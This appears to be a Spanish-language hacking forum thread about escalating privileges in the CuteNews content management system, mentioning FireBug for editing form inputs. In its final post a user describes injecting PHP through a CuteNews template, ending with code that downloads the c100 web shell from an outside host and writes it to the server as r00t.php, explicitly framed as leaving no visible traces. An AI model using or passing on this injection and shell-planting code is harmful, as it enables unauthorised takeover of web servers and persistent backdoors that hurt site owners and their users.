CuteNews Escalar privilegios

[xalupeao]

Tengo una duda como se llama esa herramienta que estas usando para editar el input de ese form ?... gracias

[WHK]

Se llama FireBug
https://addons.mozilla.org/es-ES/firefox/addon/1843

[xalupeao]

hay un problema, cuando tu dejas

Full URL to CuteNews Directory http://localhost/cutenews\

el archivo config.php queda asi

$config_http_script_dir = "http://localhost/cutenews\\";

por ende no toma :S


hay otra forma?

[xalupeao]

Me despondo a mi mismo, hay una forma mas fácil sin dejar rastros visibles.

editen el templete default cualquiera, ejemplo

Active News... al final agregan

HTML;
phpinfo();

................. inyectando la shell seria

HTML;
$s = file_get_contents('http://blacknite.eu/php_shells/c100.txt');
$f = fopen('r00t.php', 'x');
fwrite($f, $s); fclose($f);


Saludos.